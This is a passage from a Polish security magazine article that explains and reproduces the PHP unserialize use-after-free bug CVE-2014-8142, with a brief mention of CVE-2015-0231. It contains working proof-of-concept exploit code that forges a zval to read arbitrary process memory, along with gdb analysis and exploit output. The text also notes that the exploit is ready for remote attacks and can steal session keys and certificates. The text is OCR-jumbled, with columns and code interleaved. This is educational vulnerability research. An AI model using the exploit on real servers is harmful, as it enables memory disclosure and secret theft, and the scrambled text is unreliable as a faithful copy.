ry znajdował się oryginalnie pod zadanym kluczem. Okazuje się, że refobj. W tym momencie refobj odwołuje się do pamięci, któ-
PHP w tym konkretnym momencie nie śledziło referencji. W konse- ra już do niego nie należy (mamy tutaj do czynienia z tzw. sytuacją
kwencji referencja wskazuje na nieistniejący obiekt. use-after-free). System operacyjny ponownie wykorzystał zwolnioną
Spróbujmy odtworzyć błąd CVE-2014-8142, cofając się do roku pamięć, dzięki czemu zmienna refobj umożliwia odczytanie nowo
2014 i korzystając z podatnej wersji PHP. Możemy w tym celu użyć zapisanych tam danych.
docker’a. Wymagane środowisko uruchamiamy za pomocą jednej li-
Listing 4. Nadpisanie referencji obiektu
nii zaprezentowanej w Listingu 3.
<?php
Listing 3. Uruchomienie środowiska docker z PHP
$obj = new StdClass();
$ docker run -ti php:5.4.34-cli /bin/sh $refobj = str_repeat("A", 128);
$obj->firstelem = array(1,2,&$refobj,4,5);
Teraz musimy utworzyć obiekt, który spełnia powyższe założenia. $obj->replaceme = 1;
$obj->dangling = &$refobj;
W tym celu możemy skorzystać z kodu widocznego w Listingu 4. $serobj = serialize($obj);
W pierwszej kolejności tworzymy obiekt dowolnej klasy PHP. My /* Warto zauważyć, że długość nazw
skorzystamy z klasy StdClass – jest to podstawowa, pusta klasa, któ- * obiektu musi być taka sama, inaczej
* musielibyśmy także w serializowanych danych
ra umożliwia tworzenie dowolnych w niej parametrów. Następnie * zaktualizować długość napisu. */
tworzymy 128-znakowy napis. W kolejnym kroku budujemy obiekt, $serobj = str_replace(
"Replaceme",
który zawiera referencję do napisu. Dalej należy dodać kolejny atry- "Firstelem",
$serobj
but replaceme – jest to zaślepka, której nazwę zmienimy potem na );
firstelem. Ten zabieg jest dokonywany po to, aby w obiekcie seria-
var_dump(unserialize($serobj));
lizowanym wystąpiła dwukrotnie deklaracja zmiennej firstelem. /* Przykład uruchomienia:
Gdybyśmy tutaj napisali po prostu zmienną firstelem, to jego orygi- *
* object(stdClass)#2 (2) {
nalna wartość nie znalazłaby się w serializowanym formacie. Na koń- * ["firstelem"]=>
* int(1)
cu ustawiamy zmienną dangling, jako referencję do obiektu refobj. * ["dangling"]=>
Po zakończeniu tworzenia obiektu musimy dokonać jeszczę ręcz- * &string(128) "1Ypܕ3Y13ݕ3Xݕ3ޕ3ݕ3"
* }
nych zmian w nowo wygenerowanym tekstowym zapisie. Musimy
/* REKLAMA */
{ WWW.PROGRAMISTAMAG.PL } <69>
Z ARCHIWUM CVE
W GŁĄB CZELUŚCI PHP W tym artykule skorzystamy z drugiej techniki, a wynik analizy wi-
doczny jest w Listingu 7. Przed odpaleniem naszego gdb należy uru-
Okazuje się, że błąd umożliwia znacznie więcej niż tylko wypisy- chomić PHP w trybie interaktywnym (php -a), następnie za pomocą
wanie losowego fragmentu pamięci. Na przykładzie tej podatności komendy ps znaleźć PID (numer procesu) i przekazać go do gdb.
Stefan Esser pokazał technikę zwaną ret2php, która skutkuje zdal- Ilość symboli w naszej wersji PHP jest ograniczona, poszukajmy
nym wykonaniem kodu (RCE, ang. remote code execution). My jed- więc jakiejś funkcji, która operuje na strukturze _zval_struct. Ide-
nak zatrzymamy się o krok wcześniej, a mianowicie na odczytaniu alnym kandydatem jest funkcja zend_zval_type_name (deklaracja
dowolnego fragmentu pamięci. W tym celu należy przeanalizować, pokazana w Listingu 8), jako pierwszy argument przyjmująca do-
co dzieje się w samym silniku PHP w momencie deserializacji. wolną wersję struktury zval. Jeżeli poszukamy w kodzie PHP, gdzie
W tym artykule skupimy się na kodzie PHP 5, ponieważ tej wersji ta funkcja jest wykorzystywana, okazuje się, że jest ona używana na
dotyczy opisywany błąd. Struktury od tego wydania mogły się nieco przykład do raportowania niezgodności typów pomiędzy parame-
zmienić, ale ich znaczenie pozostało takie samo. trem funkcji a przekazaną zmianą. W celu dalszej analizy utwórzmy
Wszystkie zmienne w PHP są reprezentowane przez strukturę breakpoint na tej funkcji. Następnie przywracamy PHP do działania
_zval_struct, zaprezentowaną w Listingu 5. Najważniejsze dla nas za pomocą komendy continue. Kolejnym krokiem jest przejście
zmienne to value i type. Zmienna type określa, jakiego rodzaju dane z powrotem do interpretera i wykonanie instrukcji PHP z LIstingu 9.
zawiera ta struktura. Określamy to na podstawie następujących liczb:
Listingu 7. Analiza PHP za pomocą gdb
» 0 – wartość NULL,
» 1 – liczba całkowita (LONG), # Szukanie użytecznej funkcji PHP
(gdb) info functions zend_zval_*
» 2 – liczba zmiennoprzecinkowa (DOUBLE), All functions matching regular
» 3 – wartość boolowska (BOOL), expression "zend_zval_*":
Następnie wracamy do gdb i Listingu 7. W momencie przerwania Kod pozwalający odczytać dowolny fragment pamięci procesu
wykonania programu w funkcji zend_zval_type_name sprawdza- zaprezentowany jest w Listingu 10.
my rejestr RDI (pierwszy argument funkcji zgodnie z ABI amd64). Tak jak w naszym planie, tworzymy obiekt tablicy, następnie de-
Zwrócone pierwsze 8 bajtów to adres napisu, który ustawiliśmy klarujemy kolejną zmienną replaceme, której nazwa w serializowa-
w zmiennej $zmienna w PHP (kolor czerwony w Listingu 7). Może- nym obiekcie zostanie zmieniona na first (za pomocą funkcji str_
my odgadnąć, że następną wartością (5) jest długość naszego napisu replace). Następnie tworzymy obiekt binarny w zmiennej payload.
(kolor zielony). Kolejne 4 bajty to prawdopodobnie refcount (kolor Zdecydowaliśmy się stworzyć tutaj obiekt o typie napis ze względu na
fioletowy). Pozostaje nam ustalić, co znajduje się pod bajtami ozna- to, że zawiera on wskaźnik, który PHP w momencie wykonania użyje
czonymi kolorem pomarańczowym, jednakże obserwując strukturę do odczytania bajtów. Pierwszym więc krokiem jest decyzja o tym,
zval, nie jest nam to do niczego potrzebne. Wreszcie wartość 6 to typ jaki adres chcemy odczytać; tutaj wybraliśmy adres, w którym plik
zmiennej (oznaczona kolorem niebieskim, jak wspomniano wcze- PHP jest załadowany (0x400000). Warto zwrócić uwagę, że zakłada-
śniej, 6 oznacza napis). Dzięki tej analizie wiemy już, jak wygląda ta my, iż maszyna pracuje w systemie Little Endian, dlatego wszystkie
struktura i jak sami możemy zbudować jej obiekt. wartości są zapisane w tej notacji. Następnym elementem struktury
W przypadku alokacji/dealokacji obiektów często bywa tak, że zval jest ilość bajtów napisu; możemy ustalić tutaj dowolną ilość
przed chwilą zwolniona przestrzeń zostanie użyta ponownie do alo- bajtów, w naszym przykładzie ustalmy, że chcemy odczytać jedynie
kacji obiektu o podobnym rozmiarze. Fakt ten możemy wykorzystać 8 bajtów z pamięci. W kolejnym kroku dodajemy ciąg samych 0, jest
do exploitacji PHP. Nasz plan ataku został pokazany na Rysunku 7. to część struktury, której nie udało nam się ustalić. Na koniec usta-
W pierwszej kolejności alokujemy jakąś tablicę. W następnym lamy, że struktura jest typu napis. Teraz tworzymy trzeci obiekt, re-
kroku, używając tego samego klucza w słowniku, zwalniamy tę ta- fobj, który ustawia referencję do jednej zmiennej z tablicy. Wartość
blicę. Dzięki tablicy parametrów PHP wciąż posiadamy referencję dziewięć została ustalona na podstawie prób i błędów, natomiast mu-
do obiektów, pomimo tego, że sam obiekt został już zwolniony. Na simy tutaj idealnie dobrać wartości tak, aby wskazać na nasz payload.
Rysunku 7 są one oznaczone jako 1..11, ponieważ każdy element Następnie serializujemy nasz nowo utworzony obiekt, podmie-
w tablicy ma swoją referencje, a dodatkowo sama tablica ma jedną. niając w nim nazwę zmiennej tak, by wymusić dealokację zmiennej
Następnie alokujemy kolejny obiekt. Biblioteka do alokacji ponownie first. W momencie serializacji payload będzie potraktowany jako
użyje przestrzeni, która została zwolniona. Dzięki temu uzyskaliśmy zwykły napis (literka „s”), dlatego ręcznie zmieniamy go na napis
referencję do bajtów znajdujących się w wartości nowego obiek- z interpretacją binarnych danych. Dzięki temu w pamięci na pewno
tu. Jeżeli w ramach wartości nowego obiektu uda nam się stworzyć znajdują się żądane bajty, a nie zapisany tekst. Exploit ze zmiennej
fragment pamięci, który przypomina obiekt PHP (struktura zval), $serobj jest gotowy do użycia. Możemy wykorzystać go do zdalne-
możemy utworzyć do niego referencję za pomocą kolejnej zmiennej, go ataku na serwer, bądź spróbować lokalnej exploitacji. Na końcu
a także wcześniej odłożonych referencji. W ten sposób zawartość Listngu 10 przeprowadzamy eksperymenty lokalnie, poprzez dese-
zmiennej payload zostanie potraktowana przez PHP jako wewnętrz- rializację obiektu, a następnie wypisanie jego zawartości.
ny obiekt, a to umożliwi nam odczytanie dowolnego fragmentu pa-
Listingu 10. Odczytanie dowolnego fragmentu pamięci procesu PHP
mięci lub wykonanie dowolnego kodu.
<?php
$obj->first = array(1,2,3,4,5,6,7,8,9,10);
$obj->replaceme = 1;
# address obiektu który chcemy odczytać
$obj->payload = "\x00\x00\x40\x00"
$obj->payload .= "\x00\x00\x00\x00";
# długość bajtów który chcemy odczytać
$obj->payload .= "\x08\x00\x00\x00";
# refcount__gc albo coś innego nie ma znaczenia
$obj->payload .= "\x00\x00\x00\x00";
$obj->payload .= "\x00\x00\x00\x00";
# obiekt jest typu napis
$obj->payload .= "\x06\x00\x00\x00";
$obj->refobj = &$obj->first[9];
$serobj = serialize($obj);
$serobj = str_replace(
'S:9:"replaceme";',
'S:5:"first";',
$serobj
);
$serobj = str_replace('s:32:', "S:32:", $serobj);
$x = unserialize($serobj);
var_dump($x);
?>
Przykład użycia tego skryptu jest pokazany w Listingu 11. Jak widzi-
Rysunek 7. Kroki do exploitacji PHP
my, w zmiennej refobj znajduje się tekst ELF – jest to napis, wyko-
rzystywany na początku plików wykonywalnych w systemie Linux
{ WWW.PROGRAMISTAMAG.PL } <71>
Z ARCHIWUM CVE
i znajduje się pod adresem 0x00400000. Jeżeli przekazalibyśmy wy- je się dwa razy ten sam napis zawierający znaki (na przykład: napis
nik tego skryptu do takiego narzędzia jak hexdump, okazałoby się, „abc”), to nie zweryfikuje już napisów zawierających same liczby
że zostało wypisane tam dokładnie 8 bajtów (pozostałe są po prostu (napis: „123”). Funkcją, którą programiści powinni zastosować, była
spoza zakresu ASCII) – tych samych bajtów, które znajdują się na po- zend_hash_find, która pokryje oba przypadki. Błąd ten został ozna-
czątku pliku binarnego PHP. Dzięki tak spreparowanymu obiektowi czony numerem CVE-2015-0231.
możemy skanować mapę pamięci procesu i wykraść klucze sesyjne,
certyfikaty SSLowe lub inne sekrety znajdujące się w procesie PHP.
PODSUMOWANIE
Listing 11. Wykonanie exploita
Powstaje dużo formatów serializacji/deserializacji danych, często
$ php exploit.php nowe języki programowania tworzą własne formaty dedykowane dla
object(stdClass)#2 (3) {
["first"]=> nich. Innym razem programiści tworzą nowe spersonalizowane dla
int(1) swoich projektów. Jak pokazano w artykule, serializacja danych może
["payload"]=>
string(24) "D" i jest łatwa, ale deserializacja już nie. Łatwo o popełnienie błędu,
["refobj"]=>
&string(8) "ELF"
a przy rozrastającym się szybko projekcie (jak miało miejsce z PHP)
} czasami ciężko dostrzec powiększające się zależności (jak w przypad-
ku specjalnego klucza referencji).
MARIUSZ ZABORSKI
https://oshogbo.vexillium.org
Ekspert bezpieczeństwa w grupie 4Prime. Wcześniej przez 8 lat współtworzył i zarządzał zespołem programistów tworzących
rozwiązanie PAM w firmie Fudo Security. W wolnym czasie zaangażowany w rozwój projektów open-source, w szczególności
FreeBSD.